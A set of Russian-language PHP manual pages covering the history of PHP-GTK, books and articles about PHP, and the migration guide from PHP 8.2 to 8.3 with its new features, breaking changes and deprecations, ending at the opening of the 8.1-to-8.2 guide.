Работа над генератором кода и самой инфраструктурой шла достаточно долго, ввиду того, что я не имел достаточно свободного времени для работы. После того, как я показал PHP-GTK Фрэнку Кромману (Frank Kromman), он заинтересовался и начал помогать мне с генератором кода и версией для Win32. Когда мы написали и запустили первую программу Hello World, это было очень захватывающе. Потребовалось несколько месяцев для придания PHP-GTK презентабельного вида и первая версия вышла 1 марта 2001 года. История быстро попала в SlashDot.

Чувствуя, что PHP-GTK может расти, я создал отдельные почтовые конференции, CVS-репозиторий, а также сайт gtk.php.net с помощью Колина Виеброка (Colin Viebrock). Требовалась документация и здесь на помощь пришёл Джеймс Мур (James Moore).

Со времён создания PHP-GTK получил широкую известность. У нас есть своя группа документирования, люди начинают писать модули для PHP-GTK и все больше и больше прекрасных приложений с его помощью.

User Contributed Notes

There are no user contributed notes for this page.


Книги о PHP

С ростом PHP, его начали узнавать по всему миру, как популярный язык программирования. Одним из наиболее интересных способов суждения об этом может послужить обзор книг о PHP.

Насколько нам известно, первой книгой, посвящённой PHP, была чешская книга, выпущенная в апреле 1999 года под названием 'PHP - tvorba interaktivnich internetovych aplikaci' (PHP - Создание интерактивных интернет-приложений). Автором книги является Jirka Kosek. В следующем месяце следом за ней выходит немецкая книга Эгона Шмидта (Egon Schmid), Кристиана Картуса (Christian Cartus) и Ричарда Блюма (Richard Blum). Вскоре после этого была опубликована первая на английском языке книга, посвящённая PHP, - 'Core PHP Programming' Леона Аткинсона (Leon Atkinson). Все эти книги описывали PHP 3.0.

Эти книги были первыми в своём роде, и вскоре было выпущено большое количество книг различных авторов и издательств. Существует более 400 книг на английском, более 100 на немецком, и больше 50 на французском и испанском языках! Кроме того, можно найти книги о PHP на многих других языках, включая корейский, японский и иврит.

Очевидно, что такое большое количество книг, написанных разными авторами и опубликованных многими издательствами на столь многих языках, является весомым подтверждением мирового успеха PHP.

User Contributed Notes

There are no user contributed notes for this page.


Публикации, посвящённые PHP

По нашей информации, первая статья о PHP была опубликована в чешском варианте 'Computerworld' весной 1998 и освещала PHP 3.0. Как и в случае с книгами, эта была первая в серии статья из множества посвящённых PHP и опубликованных в различных известных журналах.

Статьи о PHP публиковались в 'Dr. Dobbs', 'Linux Enterprise', 'Linux Magazine' и многих других изданиях. А статьи о переносе основанных на ASP приложений на PHP под Windows появились даже в принадлежащей самому Microsoft MSDN!

User Contributed Notes

There are no user contributed notes for this page.


Миграция с PHP 8.2.x на PHP 8.3.x

Содержание

  • Новая функциональность
  • Новые классы и интерфейсы
  • Новые функции
  • Новые глобальные константы
  • Изменения, ломающие обратную совместимость
  • Устаревшая функциональность
  • Другие изменения
  • Поддержка Windows

Эта новая минорная версия приносит с ряд новых возможностей и несовместимостей, которые требуется протестировать перед переключением версий PHP в производственных средах.

Смотрите также руководство по миграции для версий PHP 7.1.x, 7.2.x, 7.3.x, 7.4.x, 8.0.x, 8.1.x, 8.2.x.

User Contributed Notes

There are no user contributed notes for this page.


Новая функциональность

Ядро PHP

Изменения Readonly

Анонимные классы теперь могут быть помечены как доступные только для чтения.

Свойства, доступные только для чтения, теперь могут быть повторно инициализированы при клонировании.

Типизированные константы класса

Классы, интерфейсы, трейты и константы перечислений теперь поддерживают объявления типов.

Замыкания, созданные в магических методах

Замыкания, созданные в магических методах, теперь принимают именованные аргументы.

The final modifier with a method from a trait

Модификатор final теперь можно указывать при импорте метода трейта.

Атрибут Override

Добавлен атрибут #[\Override], который проверяет существование метода в родительском классе или в имплементируемом интерфейсе.

получение констант классов динамическим синтаксисом

Теперь можно получить доступ к константам классов через переменные: C::{$name}.

Инициализаторы статических переменных

Инициализаторы статических переменных теперь могут содержать произвольные выражения.

Синтаксис резервных значений для ini-переменных

Файл php.ini теперь поддерживает синтаксис резервных/установленных по умолчанию значений.

<?php
/*
Путь /path/to/user.ini содержит следующие настройки:

listen = localhost:${DRUPAL_FPM_PORT:-9000}
*/

$user_ini = parse_ini_file('/path/to/user.ini');
echo $user_ini['listen']; // localhost:9000

Командная строка (CLI)

Теперь можно проверять несколько файлов (php -l file1.php file2.php - прим. перев.).

Модуль DOM

Добавлены свойства DOMElement::$className и DOMElement::$id. Пока они не бинарно-безопасные из-за общих ограничений библиотеки libxml2. Это означает, что значения свойств будут обрезаны на NUL-байте.

Добавлены свойства DOMNode::$isConnected и DOMNameSpaceNode::$isConnected.

Добавлены свойства DOMNode::$parentElement и DOMNameSpaceNode::$parentElement.

Модуль FFI

Теперь можно присваивать объекты класса FFI\CData другим FFI\CData. Значение CData теперь может быть присвоено структурам и полям.

Модуль Opcache

Элемент opcache_get_status()['scripts'][n]['revalidate'] теперь содержит метку времени Unix, которая указывает, когда должна быть выполнена следующая повторная проверка метки времени скриптов, определённой INI-опцией opcache.revalidate_freq.

Модуль POSIX

Функция posix_getrlimit() теперь содержит необязательный параметр $resource, чтобы разрешить получение ограничения отдельного ресурса.

Функция posix_isatty() теперь выдаёт предупреждения о типе целых чисел, следуя обычной семантике ZPP.

Функция posix_ttyname() теперь выдаёт предупреждения о типе целых чисел, следуя обычной семантике ZPP, и предупреждения о значениях для недействительных целых чисел дескриптора файла.

Потоки

Потоки теперь выдают уведомление STREAM_NOTIFY_COMPLETED. Ранее это не было реализовано.

User Contributed Notes

There are no user contributed notes for this page.


Новые классы и интерфейсы

Date

  • DateError
  • DateObjectError
  • DateRangeError
  • DateException
  • DateInvalidOperationException
  • DateInvalidTimeZoneException
  • DateMalformedIntervalStringException
  • DateMalformedPeriodStringException
  • DateMalformedStringException

Random

  • Random\IntervalBoundary

User Contributed Notes

There are no user contributed notes for this page.


Новые функции

Date

  • DatePeriod::createFromISO8601String()

DOM

  • DOMElement::getAttributeNames()
  • DOMElement::insertAdjacentElement()
  • DOMElement::insertAdjacentText()
  • DOMElement::toggleAttribute()
  • DOMNode::contains()
  • DOMNode::getRootNode()
  • DOMNode::isEqualNode()
  • DOMNameSpaceNode::contains()
  • DOMParentNode::replaceChildren()

Intl

  • IntlCalendar::setDate()
  • IntlCalendar::setDateTime()
  • IntlGregorianCalendar::createFromDate()
  • IntlGregorianCalendar::createFromDateTime()

JSON

  • json_validate()

LDAP

  • ldap_connect_wallet()
  • ldap_exop_sync()

MBString

  • mb_str_pad()

Posix

  • posix_sysconf()
  • posix_pathconf()
  • posix_fpathconf()
  • posix_eaccess()

PostgreSQL

  • pg_set_error_context_visibility() (libpq >= 9.6)

Random

  • Random\Randomizer::getBytesFromString()
  • Random\Randomizer::nextFloat()
  • Random\Randomizer::getFloat()

Reflection

  • ReflectionMethod::createFromMethodName()

Sockets

  • socket_atmark()

Стандартные функции

  • str_increment()
  • str_decrement()
  • stream_context_set_options()

Zip

  • ZipArchive::getArchiveFlag()

User Contributed Notes

There are no user contributed notes for this page.


Новые глобальные константы

cURL

  • CURLINFO_CAPATH (libcurl >= 7.84.0)
  • CURLINFO_CAINFO (libcurl >= 7.84.0)
  • CURLOPT_MIME_OPTIONS (libcurl >= 7.81.0)
  • CURLMIMEOPT_FORMESCAPE (libcurl >= 7.81.0)
  • CURLOPT_WS_OPTIONS (libcurl >= 7.86.0)
  • CURLWS_RAW_MODE (libcurl >= 7.86.0)
  • CURLOPT_SSH_HOSTKEYFUNCTION (libcurl >= 7.84.0)
  • CURLOPT_PROTOCOLS_STR (libcurl >= 7.85.0)
  • CURLOPT_REDIR_PROTOCOLS_STR (libcurl >= 7.85.0)
  • CURLOPT_CA_CACHE_TIMEOUT (libcurl >= 7.87.0)
  • CURLOPT_QUICK_EXIT (libcurl >= 7.87.0)
  • CURLKHMATCH_OK (libcurl >= 7.19.6)
  • CURLKHMATCH_MISMATCH (libcurl >= 7.19.6)
  • CURLKHMATCH_MISSING (libcurl >= 7.19.6)
  • CURLKHMATCH_LAST (libcurl >= 7.19.6)

Intl

  • MIXED_NUMBERS (Spoofchecker)
  • HIDDEN_OVERLAY (Spoofchecker)

OpenSSL

  • OPENSSL_CMS_OLDMIMETYPE
  • PKCS7_NOOLDMIMETYPE

PCNTL

  • SIGINFO

PDO_ODBC

  • PDO_ODBC_TYPE

Posix

  • POSIX_SC_ARG_MAX
  • POSIX_SC_PAGESIZE
  • POSIX_SC_NPROCESSORS_CONF
  • POSIX_SC_NPROCESSORS_ONLN
  • POSIX_PC_LINK_MAX
  • POSIX_PC_MAX_CANON
  • POSIX_PC_MAX_INPUT
  • POSIX_PC_NAME_MAX
  • POSIX_PC_PATH_MAX
  • POSIX_PC_PIPE_BUF
  • POSIX_PC_CHOWN_RESTRICTED
  • POSIX_PC_NO_TRUNC
  • POSIX_PC_ALLOC_SIZE_MIN
  • POSIX_PC_SYMLINK_MAX

Sockets

Следующие опции сокетов теперь определяются, если они поддерживаются:

  • SO_ATTACH_REUSEPORT_CBPF (Linux)
  • SO_DETACH_BPF (Linux)
  • SO_DETACH_FILTER (Linux)
  • TCP_QUICKACK (Linux)
  • IP_DONTFRAG (FreeBSD)
  • IP_MTU_DISCOVER (Linux)
  • IP_PMTUDISC_DO (Linux)
  • IP_PMTUDISC_DONT (Linux)
  • IP_PMTUDISC_WANT (Linux)
  • IP_PMTUDISC_PROBE (Linux)
  • IP_PMTUDISC_INTERFACE (Linux)
  • IP_PMTUDISC_OMIT (Linux)
  • AF_DIVERT (FreeBSD)
  • SOL_UDPLITE
  • UDPLITE_RECV_CSCOV
  • UDPLITE_SEND_CSCOV
  • SO_RERROR (NetBSD)
  • SO_ZEROIZE (OpenBSD)
  • SO_SPLICE (OpenBSD)
  • TCP_REPAIR (Linux)
  • SO_REUSEPORT_LB (FreeBSD)
  • IP_BIND_ADDRESS_NO_PORT (Linux)

Zip

  • ZipArchive::ER_DATA_LENGTH (libzip >= 1.10)
  • ZipArchive::ER_NOT_ALLOWED (libzip >= 1.10)
  • ZipArchive::AFL_RDONLY (libzip >= 1.10)
  • ZipArchive::AFL_IS_TORRENTZIP (libzip >= 1.10)
  • ZipArchive::AFL_WANT_TORRENTZIP (libzip >= 1.10)
  • ZipArchive::AFL_CREATE_OR_KEEP_FILE_FOR_EMPTY_ARCHIVE (libzip >= 1.10)
  • ZipArchive::FL_OPEN_FILE_NOW
  • ZipArchive::LENGTH_TO_END в качестве значения по умолчанию для функции ZipArchive::addFile() и ZipArchive::replaceFile()
  • ZipArchive::LENGTH_UNCHECKED (libzip >= 1.10)

User Contributed Notes

There are no user contributed notes for this page.


Изменения, ломающие обратную совместимость

Ядро PHP

Программы, которые были очень близки к переполнению стека вызовов

Программы, которые были очень близки к переполнению стека вызовов, теперь могут выбрасывать исключение Error, когда занятый в байтах размер стека больше, чем определено в настройке zend.max_allowed_stack_size-zend.reserved_stack_size (fiber.stack_size-zend.reserved_stack_size для файберов).

Выполнение функции proc_get_status() несколько раз

Выполнение функции proc_get_status() несколько раз теперь всегда возвращает правильное значение в POSIX-системах. Ранее только первый вызов функции возвращал правильное значение. Выполнение функции proc_close() после функции proc_get_status() теперь также возвращает правильный код выхода. Ранее это вернуло бы значение -1. Внутренне это работает через кеширование результата на POSIX-системах. Если требуется прежнее поведение, можно проверить ключ «cached» в массиве, который возвращает функция proc_get_status(), чтобы проверить, был ли кеширован результат.

Таймеры Zend Max Execution

Таймеры Zend Max Execution теперь по умолчанию включены для сборок ZTS в системах Linux.

Включение трейтов со статическими свойствами

Включение трейтов со статическими свойствами теперь будет повторно определять статические свойства, унаследованные из родительского класса. Это создаст разные хранилища статических свойств для текущего класса. Это аналогично добавлению статического свойства в классе, без трейтов.

Присваивание отрицательного индекса пустому массиву

При добавлении в массив с занятым отрицательным индексом, который, предположим, хранится в переменной $n, нового значения, следующий индекс получит значение $n + 1, а не 0.

Проверка несоответствия видимости констант классов

Несоответствия видимости констант классов теперь будет корректно проверено при реализации интерфейсов.

Записи WeakMap, ключ которых соответствует самим себе

Записи объекта WeakMap, ключ которых сопоставлен с самим собой, (возможно, транзитивно) теперь можно удалить во время сбора цикла если ключ недоступен, кроме как путём перебора значений WeakMap (доступность во время перебора считается слабой). Ранее такие записи не были бы удалены автоматически.

Модуль Date

Вместо предупреждений и общих исключений в модуль DateTime были добавлены свойственные только ему исключения и ошибки в иерархии классов DateError и DateException. Это улучшает обработку ошибок и исключений, когда нужно проверить их существование.

Модуль DOM

Вызов методов DOMChildNode::after(),
DOMChildNode::before()
и DOMChildNode::replaceWith()
на узле, у которого нет родительского узла теперь неработоспособно, а не
исключением иерархии, чтобы поведение было совместимым со спецификацией DOM.

Вызов методов классов DOMParentNode и DOMChildNode без документа теперь работает, а не выбрасывает исключения DOM_HIERARCHY_REQUEST_ERR класса DOMException. Это соответствует поведению спецификации DOM.

Вызов метода DOMDocument::createAttributeNS() без префикса неправильно бы создал пространство имён по умолчанию, помещая элемент внутрь пространства имён вместо атрибута. Эта ошибка теперь исправлена.

Метод DOMDocument::createAttributeNS() раньше неправильно бросал исключение DOM_NAMESPACE_ERRNAMESPACE_ERR класса DOMException, когда префикс уже был занят другим URI. Теперь он правильно выбирает другой префикс при конфликте префиксов.

Новые методы и свойства были добавлены в ряд классов DOM. Если пользовательский класс наследуется от этих классов и объявляет метод или свойство с таким же именем, оно должно быть совместимым. В других случаях будет выброшена типичная ошибка компиляции о несовместимости. Познакомиться со списком новых методов и свойств можно в разделах список новой функциональности и новые функции.

Класс FFI

Функции языка Си, для которых задан возвращаемый тип void, теперь возвращают значение null вместо вместо объекта object(FFI\CData:void) { }.

Модуль Opcache

Настройка INI-директивы opcache.consistency_checks была удалена. Эта функция не работала при трассировке JIT, а также с кешем наследования, и была отключена в PHP 8.1.18 и PHP 8.2.5; теперь её невозможно включить. И трассирующий JIT, и кеш наследования могут изменить разделяемую память (shm) после сохранения скрипта путём аннулирования его контрольной суммы. Были попытки исправить пропуски через модифицируемые указатели, но была отклонена из-за сложности. Из-за этого решили удалить эту функцию.

Модуль Phar

Тип констант класса Phar теперь объявлен.

Стандартные функции

В функцию range() был внесён ряд изменений:

  • Теперь выбрасывается исключение TypeError, когда объекты (object), ресурсы (resource) или массивы (array) передаются в качестве граничных значений.
  • Теперь при передаче в параметр $step значения 0 выбрасывается подробнее описанное исключение ValueError.
  • Теперь выбрасывается исключение ValueError, когда в параметр $step передаются отрицательные значения для увеличения диапазонов.
  • Если в параметр $step передаётся число с плавающей точкой, которое может быть интерпретировано как целое число, то оно так и оценивается.
  • Теперь выбрасывается исключение ValueError, если любой аргумент представляет бесконечное число или нечисло (NAN).
  • Теперь вызвается ошибка уровня E_WARNING, если параметр $start или $end принимает значение пустой строки. Значение продолжает приводиться к значению 0.
  • Теперь вызвается ошибка уровня E_WARNING, если параметр $start или $end принимает нечисловую строку размером более одного байта.
  • Теперь вызвается ошибка уровня E_WARNING, если значение, переданное в параметр $start или $end, приводится к целому числу из-за того, что другое значение — число (например, range(5, 'z');).
  • Теперь при попытке сгенерировать диапазон символов вызвается ошибка уровня E_WARNING, если значение параметра $step — это число с плавающей точкой, кроме случаев, когда оба входных значения — числовые строки (например, range('5', '9', 0.5); не вызовет предупреждения).
  • Теперь функция number_format() обрабатывает отрицательные значения $decimals и округляет значения $num до abs($decimals) знаков перед десятичной точкой. Раньше функция игнорировала отрицательные значения $decimals.
  • Теперь вместо приведения одного из значений к целому числу функция range() создаёт список символов, если одно из них — это числовая строка (например, range('9', 'A');).
<?php

range('9', 'A'); // ["9", ":", ";", "<", "=", ">", "?", "@", "A"], начиная с PHP 8.3.0
range('9', 'A'); // [9, 8, 7, 6, 5, 4, 3, 2, 1, 0], до PHP 8.3.0

Флаги проверки ошибок в функции file() теперь перехватывает все недопустимые флаги. Константа FILE_APPEND ранее молча принималась.

SNMP

Тип констант класса SNMP теперь объявлен.

User Contributed Notes

There are no user contributed notes for this page.


Устаревшая функциональность

Ядро PHP

Операторы Increment/Decrement

Передача оператору increment (++) пустых, нечисловых или не буквенно-числовых строк устарела. Притом инкрементирование нечисловых строк устарело мягко. Понятие «мягкое устаревание» означает, что диагностика уровня E_DEPRECATED выполняться не будет, но нужно отказаться от устаревших правил в новом коде. Вместо устаревшего способа инкрементирования необходимо вызывать новую функцию str_increment().

Использование оператора decrement (--) для пустых или нечисловых строк теперь неактуально.

Вызов функции get_class()/get_parent_class() без аргументов

Вызов функций get_class() и get_parent_class() без аргументов устарел.

DBA

Вызов функции dba_fetch() с параметром $dba в качестве третьего аргумента устарел.

FFI

Статический вызов метода FFI::cast(), FFI::new() и FFI::type() устарел.

Intl

Константа U_MULTIPLE_DECIMAL_SEP*E*RATORS устарела, вместо неё рекомендуется использовать константу U_MULTIPLE_DECIMAL_SEP*A*RATORS.

Константа NumberFormatter::TYPE_CURRENCY устарела.

LDAP

Вызов функции ldap_connect() с отдельными параметрами $hostname и $port устарел.

MBString

Передача отрицательного значения в параметр $width функции mb_strimwidth() устарела.

Phar

Вызов метода Phar::setStub() с типом resource и параметром $length устарел. Такие вызовы должны быть заменены на: $phar->setStub(stream_get_contents($resource));.

Random

Вариант константы MT_RAND_PHP Mt19937 устарел.

Reflection

Вызов метода ReflectionProperty::setValue() только с одним параметром устарел. Чтобы установить статические свойства, передайте null в качестве первого параметра.

Стандартные функции

Функция assert_options() устарела.

Константы ASSERT_ACTIVE, ASSERT_BAIL, ASSERT_CALLBACK, ASSERT_EXCEPTION и ASSERT_WARNING устарели.

INI-параметры assert.* устарели. Смотрите изменения в работе с INI-файлами для более подробной информации.

SQLite3

Работа с исключениями теперь предпочтительнее, предупреждения будут удалены в будущем. Вызов SQLite3::enableExceptions(false) в этой версии выдаст предупреждение об устаревании.

Zip

Константа ZipArchive::FL_RECOMPRESS устарела и будет удалена в будущей версии libzip.

User Contributed Notes

There are no user contributed notes for this page.


Другие изменения

Изменения в ядре

Класс FFI

Метод FFI::load() теперь разрешён в режиме предварительной загрузки, когда опция opcache.preload_user — это текущий пользователь системы. Ранее вызов метода FFI::load() не был возможен во время предзагрузки, если настройка директивы opcache.preload_user была установлена.

Менеджер процессов FPM

Проверка FPM CLI теперь завершается неудачей, если путь к сокету длиннее, чем поддерживает операционная система.

Модуль Opcache

В CLI и phpdbg SAPIs предварительная загрузка больше не требует настройки директивы opcache.preload_user при запуске от имени пользователя root. В других SAPIs эта директива нужна при запуске от имени пользователя root, потому что предзагрузка выполнялась до того, как SAPI переключится на непривилегированного пользователя.

Потоки

Блокировка функцией fread() при подключении к сокету возвращается немедленно, если есть любые буферизованные данные, вместо ожидания дополнительных данных.

Поток памяти больше не завершается сбоем, если смещение поиска превысило конечное значение. Вместо этого память будет увеличена при следующей записи, а данные между старым концом и смещением заполнятся нулевыми байтами, аналогично работе файлов.

Операции доступа функции stat() наподобие функции file_exists() и похожие теперь пользуются реальным путём вместо фактического пути потока. Это соответствует открытию потока.

Изменения в модулях SAPI

Командная строка (CLI)

Потоки STDOUT, STDERR и STDIN больше не закрываются при уничтожении ресурсов, что обычно случается при завершении работы CLI. Однако всё ещё можно явно закрыть эти потоки через функцию fclose() и похожие.

Изменённые функции

Ядро

В функцию gc_status() добавлено 8 следующих полей:

  • running => bool
  • protected => bool
  • full => bool
  • buffer_size => int
  • application_time => float: Полное время работы приложения в секундах (включая время, затраченное полем collector_time)
  • collector_time => float: Время в секундах, затраченное циклами сборки (включая время, затраченное полями destructor_time и free_time)
  • destructor_time => float: Время в секундах, затраченное деструкторами в течение цикла сборки
  • free_time => float: Время в секундах, затраченное на освобождение значений во время цикла сборки

Функция class_alias() теперь поддерживает создание псевдонимов внутреннего класса.

Настройка open_basedir с вызовом во время выполнения функции ini_set('open_basedir', ...); больше не принимает пути, содержащие родительскую директорию (..). Ранее запрещались только пути, начинающиеся с ... Это можно легко обойти, добавив ./ к пути.

Обработчики пользовательских исключений теперь перехватывают их во время завершения работы.

Результирующий HTML в функциях highlight_string() и highlight_file() был изменён. Пробел между внешними HTML-тегами удалены. Новые строки и пробелы больше не преобразовываются в HTML-сущности. Полный HTML теперь обёрнут тегом <pre>. Внешний тег <span> был слит с тегом <code>.

Модуль Calendar

Функция easter_date() теперь поддерживает годы с 1970 по 2 000 000 000 на 64-битных системах, ранее она поддерживала только годы в диапазоне 1970—2037.

Модуль Curl

Функция curl_getinfo() теперь поддерживает две новых константы: CURLINFO_CAPATH и CURLINFO_CAINFO. Если параметр option принимает значение null, будут представлены два следующих дополнительных ключа: capath и cainfo.

Модуль DOM

У метода DOMCharacterData::appendData() предопределённый тип возвращаемого значения изменился на true.

У методов DOMDocument::loadHTML(), DOMDocument::loadHTMLFile() и DOMDocument::loadXML() предварительный тип возвращаемого значения был изменён на bool. Раньше это было задокументировано как DOMDocument|bool, но начиная с PHP 8.0.0 объект класса DOMDocument не может быть возвращён, поскольку он больше не может быть вызван статически.

Модуль Gd

Сигнатура функции imagerotate() изменилась. Параметр $ignore_transparent был удалён, поскольку он игнорировался с версии PHP 5.5.0.

Модуль интернационализации Intl

Функция datefmt_set_timezone() (и её псевдоним — метод IntlDateformatter::setTimeZone()) теперь возвращают значение true при успешном выполнении, ранее они возвращали значение null.

Метод IntlBreakiterator::setText() теперь возвращает значение false при сбое, ранее он возвращал значение null. Теперь он возвращает значение true при успешном выполнении, ранее возвращалось значение null.

Метод IntlChar::enumCharNames() теперь возвращает логическое значение. Ранее он возвращал значение null при успешном выполнении и значение false при неудачном завершении.

Метод IntlDateFormatter::__construct() выбрасывает исключение U_ILLEGAL_ARGUMENT_ERROR при установке недопустимого языкового стандарта (локали).

Модуль MBString

Функции mb_strtolower() и mb_convert_case() соблюдают правила условного регистра для греческой буквы сигма (? > ?). В функции mb_convert_case() условный регистр применяется только для режимов MB_CASE_LOWER и MB_CASE_TITLE, но не для MB_CASE_LOWER_SIMPLE и MB_CASE_TITLE_SIMPLE.

Функция mb_decode_mimeheader() интерпретирует подчёркивание в QPrint-кодированной MIME-кодировке слов так, как требует стандарт RFC 2047; они преобразовываются в пробелы. Подчёркивания должны быть закодированы в «=5F» с таких MIME-кодированных словах.

В редких случаях функция mb_encode_mimeheader() будет применять кодировку передачи к своей входной строке, чтобы она могла передать её как необработанный ASCII в PHP 8.2.

Функция mb_encode_mimeheader() больше не сбрасывает NUL-байты при QPrint-кодировании входной строки. Ранее это иногда приводило к повреждению функцией mb_encode_mimeheader строк в ряде текстовых кодировок, особенно UTF-16 и UTF-32.

«Нестрогий» режим функции mb_detect_encoding() теперь ведёт себя как описано в документации. Ранее она возвращала значение false, если тот же байт (например, первый) входной строки был недопустимым во всех проверяемых кодировках. В общем смысле, она исключала предложенные кодировки из рассмотрения, если был обнаружен недопустимый байт, и если тот же входной байт исключил все оставшиеся кодировки, всё ещё находящиеся на рассмотрении, она могла вернуть значение false. С другой стороны, если все предложенные кроме одной кодировки были исключены из рассмотрения, она возвращала последнюю оставшуюся, без учёта того, сколько ошибок кодирования может встретиться позже в строке. Это отличается от поведения, описанного в документации, которое говорило: «Если параметр strict установлен в значение false, будет возвращена первая совпадающая кодировка».

Модуль mysqli

Функция mysqli_fetch_object() теперь выбрасывает исключение ValueError вместо исключения Exception, когда в параметр $constructor_args передан непустой аргумент, а в классе не определён конструктор.

Функция mysqli_poll() теперь выбрасывает исключение ValueError, когда не переданы ни аргументы параметра $read, ни аргументы параметра $error.

В функции mysqli_field_seek() и методе mysqli_result::field_seek() возвращаемый тип теперь определён как true вместо bool.

Программный интерфейс ODBC

Теперь для параметра $enable функция odbc_autocommit() принимает значение null. При передаче значения null функция будет вести себя так же, как и при передаче значения только для одного параметра, то есть — укажет, включена ли автофиксация или нет.

Модуль PGSQL

Функция pg_fetch_object() теперь выбрасывает исключение ValueError вместо исключения Exception, когда в параметр $constructor_args передаётся непустой аргумент, а в классе не определён конструктор.

Функция pg_insert() теперь выбрасывает исключение ValueError вместо ошибки уровня E_WARNING, когда указанная таблица недопустима.

Функции pg_insert() и pg_convert() выбрасывают исключения ValueError или TypeError вместо ошибки уровня E_WARNING, когда значение/тип поля правильно не совпадает с типом PostgreSQL.

Параметр $row функций pg_fetch_result(), pg_field_prtlen() и pg_field_is_null() теперь может принимать значение null.

Модуль Random

Изменены функции mt_srand() и srand(), чтобы не проверять количество аргументов для определения, надо ли использовать случайное начальное число. Передача значения null сгенерирует случайное начальное число, при передаче значения 0 оно и будет выбрано случайным числом. Работа функции теперь согласована с методом Random\Engine\Mt19937::__construct().

Класс Reflection

Возвращаемый тип метода ReflectionClass::getStaticProperties() больше не может принимать значение null.

Стандартные функции

Вызов ошибки уровня E_NOTICE в функции unserialize() был повышен до E_WARNING.

Функция unserialize() теперь выдаёт ошибку уровня E_WARNING, если входные данные содержат неиспользованные байты.

Функция array_pad() теперь ограничена только максимальным количеством элементов, которые может содержать массив. Раньше за один раз она могла добавить только 1 048 576 элементов.

Функция strtok() выдаёт ошибку уровня E_WARNING, если токен не предоставлен при запуске токенизации.

Функция password_hash() теперь будет связывать в цепочку базовое исключение Random\RandomException как исключение Exception свойства $previous исключения ValueError, когда генерация соли завершится неудачей.

Передаваемый в параметр $command функции proc_open() массив теперь должен содержать хотя бы один непустой элемент. Или будет выброшено исключение ValueError.

Функция proc_open() возвращает значение false, если переданный в параметр $command массив — это не допустимая команда, а объект ресурса, который выдаёт предупреждение позже. Это уже было в Windows, но теперь это также имеет место, если выбрана реализация posix_spawn (бо?льшая часть платформ Linux, BSD и MacOS). Всё ещё существуют старые платформы, на которых это поведение не изменено, поскольку posix_spawn на них не поддерживается.

Функции array_sum() и array_product() теперь предупреждают, когда значения в массиве не могут быть преобразованы в целое число/число с плавающей точкой. Раньше массивы и объекты игнорировались, тогда как все остальные значения приводились к целым числам (int). Больше того, объекты, определяющие числовое приведение (например, GMP), теперь приводятся, а не игнорируются.

Параметр $decimals функции number_format() теперь правильно обрабатывает отрицательные целые числа. Округление с отрицательным значением для параметра $decimals означает, что значение параметра $num округляется до установленных в параметре $decimals значащих цифр перед десятичной точкой. Ранее отрицательные значения параметра $decimals молча игнорировались и число округлялось до нуля десятичных знаков.

Новый параметр $before_needle был добавлен в функцию strrchr(). Он ведет себя так же, как его аналог в функциях strstr() или stristr().

Функции str_getcsv() и fgetcsv() теперь возвращают пустую строку вместо строки с одним нулевым байтом для последнего поля, которое содержит только незавершенное вложение.

Другие изменения в модулях

Ядро

Указание операторов инкремента/декремента (++/--) на логических значениях (bool) теперь выдаёт предупреждения. Это потому, что пока это не даёт эффекта, но в будущем будет вести себя как $bool += 1.

Указание оператора декремента (--) на значения null теперь выдаёт предупреждения. Это потому, что пока это не даёт эффекта, но в будущем будет вести себя как $null -= 1.

Внутренние объекты, которые реализуют приведение _IS_NUMBER, но не обработчик do_operator, который переопределяет сложение и вычитание, теперь можно увеличивать или уменьшать на единицу, как если бы выполнялись выражения $o += 1 или $o -= 1.

Модуль DOM

Механизм жизненного цикла модуля DOM был переработан так, чтобы неявно удалённые узлы по-прежнему можно было получить. Ранее это приводило к исключению.

Класс SQLite3

Класс SQLite3 теперь вместо исключения Exception выбрасывает исключение SQLite3Exception (расширяя класс исключения Exception).

Код ошибки класса SQLite теперь передаётся в коде ошибки исключения, а не включается в сообщение об ошибке.

Изменения обработки INI-файла

  • INI-директивы assert.* устарели для настроек конфигурации. Сюда входят следующие настройки INI:

    • assert.active
    • assert.bail
    • assert.callback
    • assert.exception
    • assert.warning
    Если значение настройки равно значению по умолчанию, уведомления об устаревании не будет выдано. Вместо них нужно пользоваться INI-директивой zend.assertions.

  • zend.max_allowed_stack_size — это новая INI-директива, которая устанавливает максимальный размер стека. Возможные значения — это 0 (определяет максимальный размер стека процессов или потоков), -1 (без ограничений) или положительное целое число байтов. Значение по умолчанию — 0. Когда она не может определить максимальный размер стека процессов или потоков, будет выбрано известное системное значение по умолчанию. Установка чрезмерно большого значения даст тот же эффект, что и отключение ограничения размера стека. Максимальный размер стека для файберов устанавливают директивой fiber.stack_size. Выбрасывается ошибка Error когда стек вызовов процессов превышает установленный директивой zend.max_allowed_stack_size-zend.reserved_stack_size размер байтов, для предотвращения ошибок сегментации, вызванных переполнением стека, для упрощения процесса отладки. Размер стека увеличивается во время неконтролируемых рекурсий с участием внутренних функций, или магических методов __toString(), __clone(), __sleep(), __destruct(). Это не связано с переполнением буфера стека и не связано с безопасностью.

  • zend.reserved_stack_size — это новая INI-директива, которая устанавливает зарезервированный размер стека в байтах. Это значение вычитается из максимального размера стека в качестве буфера при проверке размера стека.

Производительность

Модуль DOM

При циклическом просмотре списка узлов в объекте DOMNodeList теперь работает кеширование. Поэтому запрос элементов по умолчанию больше не занимает квадратичное время.

Получение текстового содержимого из узлов теперь избегает выделения памяти, что даёт прирост производительности.

Метод DOMChildNode::remove() теперь работает с производительностью O(1).

Standard

Проверка ошибок флагов в функции file() теперь примерно на 7 % быстрее.

Библиотека SPL

Класс RecursiveDirectoryIterator теперь выполняет меньше операций ввода-вывода при циклическом переборе каталога.

User Contributed Notes

There are no user contributed notes for this page.


Поддержка Windows

Ядро

Минимальная поддерживаемая версия Windows увеличена до Windows 8 или Windows Server 2012.

User Contributed Notes

There are no user contributed notes for this page.


Миграция с PHP 8.1.x на PHP 8.2.x

Содержание

  • Новая функциональность
  • Новые функции
  • Новые глобальные константы
  • Изменения, ломающие обратную совместимость
  • Устаревшая функциональность
  • Другие изменения
  • Поддержка Windows

Эта новая минорная версия приносит ряд новых возможностей и несовместимостей, которые требуется протестировать перед переключением версий PHP в производственных средах.

Смотрите также руководство по миграции для версий PHP 7.1.x, 7.2.x, 7.3.x, 7.4.x, 8.0.x, 8.1.x.

User Contributed Notes

There are no user contributed notes for this page.


Новая функциональность

Ядро PHP

Атрибут SensitiveParameter

Добавлен атрибут #[\SensitiveParameter] для редактирования конфиденциальных данных в трассировках стека вызовов.

INI-директива error_log_mode

Добавлена INI-директива error_log_mode, которая позволяет установить разрешения для файла журнала ошибок.

Свойства перечислений в константных выражениях

Теперь можно получать свойства перечислений в константных выражениях.

Улучшения системы типов

